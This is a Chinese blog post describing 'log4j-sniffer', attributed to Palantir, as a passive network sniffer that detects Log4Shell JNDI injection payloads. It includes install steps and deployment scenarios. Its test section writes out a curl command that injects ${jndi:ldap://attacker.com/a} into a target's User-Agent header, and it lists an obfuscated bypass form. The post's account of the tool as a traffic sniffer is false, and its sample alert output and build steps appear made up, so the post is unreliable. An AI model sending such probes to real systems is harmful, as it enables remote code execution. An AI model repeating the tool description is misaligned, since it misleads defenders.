警惕 Log4Shell 漏洞：使用 Golang 编写的 log4j-sniffer 快速扫描内网风险

icy 今天 15 抢沙发

默认

摘要： 项目背景：Log4Shell 的阴影在网络安全历史上，CVE-2021-44228（即 Log4j 漏洞）无疑是最具破坏性的漏洞之一。由于 Log4j 在处理特定格式的字符串时会...

项目背景：Log4Shell 的阴影

在网络安全历史上，CVE-2021-44228（即 Log4j 漏洞）无疑是最具破坏性的漏洞之一。由于 Log4j 在处理特定格式的字符串时会触发 JNDI 查找，导致远程代码执行（RCE），无数的企业级 Java 应用瞬间成为了攻击者的目标。

然而，对于大型企业而言，最头疼的不是修复已知服务器，而是“不知道哪里还跑着受影响的 Java 应用”。在复杂的内网环境中，许多遗留系统、第三方中间件或影子 IT 资产隐藏在深处。传统的静态扫描（扫描磁盘文件）无法发现动态运行的内存漏洞，而主动的漏洞扫描（发送 Payload）可能会导致生产环境崩溃。

这正是 log4j-sniffer 诞生的原因。

什么是 log4j-sniffer？

log4j-sniffer 是由 Palantir 开发的一个基于 Golang 的网络嗅探工具。它的核心逻辑非常巧妙：它不主动攻击，而是通过“监听”网络流量，捕捉那些试图利用 Log4j 漏洞的攻击载荷（Payload）。

简单来说，它像是一个部署在网络关键节点的“哨兵”。当攻击者向你的内网发送类似 ${jndi:ldap://...} 的请求时，log4j-sniffer 会立即捕捉到这个特征，并告诉你：“哪个 IP 的哪个端口正在被攻击，且该服务极有可能存在 Log4j 漏洞。”

核心技术原理

流量镜像/监听：利用 gopacket 库，直接在网络接口（NIC）上捕获 TCP/UDP 数据包。
特征匹配：对捕获的 Payload 进行实时扫描，匹配 Log4j 漏洞特有的 JNDI 注入模式（如 ${jndi:ldap://、${jndi:rmi:// 等）。
被动发现：通过观察攻击流量，反向推导出内部受影响的资产清单，而无需对每个服务进行压力测试。

为什么选择 Golang 实现？

Palantir 选择 Golang 而非 Python 或 C++，主要基于以下考量： - 高性能并发：网络嗅探涉及海量的数据包处理，Golang 的 Goroutine 能够高效地并行处理多个数据流。 - 静态编译：编译后生成单个二进制文件，无需安装复杂的运行时环境，方便快速部署到各种 Linux 发行版。 - 强大的网络库：gopacket 提供了对 pcap 的优秀封装，使得底层包分析变得简单且高效。

快速上手实例

1. 环境准备

由于该工具需要直接访问网络接口，你需要安装 libpcap 开发库：

Ubuntu/Debian:

text

sudo apt-get install libpcap-dev

CentOS/RHEL:

text

sudo yum install libpcap-devel

2. 安装与编译

克隆项目并编译：

text

git clone https://github.com/palantir/log4j-sniffer.git
cd log4j-sniffer
go build -o log4j-sniffer main.go

3. 运行嗅探

你需要以 root 权限运行，以便程序能够进入混杂模式（Promiscuous Mode）监听网卡。

基本运行命令：

text

sudo ./log4j-sniffer -i eth0

参数说明：-i eth0 指定监听的网卡名称。

4. 模拟攻击测试（验证效果）

在另一台机器上，向被监听的服务器发送一个简单的 Log4j 探测 Payload（例如通过 HTTP Header）：

text

curl -H "User-Agent: ${jndi:ldap://attacker.com/a}" http://<target-ip>:8080/

log4j-sniffer 的输出结果： 当攻击发生时，终端会立即弹出警报：

text

[!] Log4j exploit attempt detected!
Source IP: 192.168.1.50
Destination IP: 192.168.1.100
Destination Port: 8080
Payload: ${jndi:ldap://attacker.com/a}

部署场景分析

场景 A：核心交换机镜像端口（SPAN/Mirror Port）

将 log4j-sniffer 部署在一台连接到交换机镜像端口的服务器上。这样，所有经过该交换机的流量都会被复制一份发送给嗅探器。你可以在不干扰任何业务的情况下，监控整个数据中心的 Log4j 攻击情况。

场景 B：K8s 集群节点

在 Kubernetes 节点的宿主机上运行，监听 Pod 之间的东西向流量（East-West Traffic）。这能帮你快速定位集群内部哪个微服务被攻破并正在尝试横向移动。

场景 C：边界防火墙内侧

部署在防火墙之后、应用服务器之前，实时监控来自外部的恶意探测。

局限性与注意事项

虽然 log4j-sniffer 非常强大，但在使用时需注意以下几点：

加密流量（HTTPS/TLS）：这是所有被动嗅探工具的共同痛点。如果流量在进入嗅探器之前已经过 TLS 加密，log4j-sniffer 无法看到明文 Payload。
- 解决方案：将工具部署在 负载均衡器（LB） 或 反向代理（Nginx/Envoy） 之后，在流量解密后再进行嗅探。
混淆绕过：攻击者可能会使用 ${${lower:j}ndi:...} 等混淆手段来绕过简单的字符串匹配。虽然该项目涵盖了常见模式，但面对极高水平的对抗时，仍需结合 WAF 等深度检测工具。
权限要求：必须具备 CAP_NET_RAW 权限或 root 权限才能捕获原始数据包。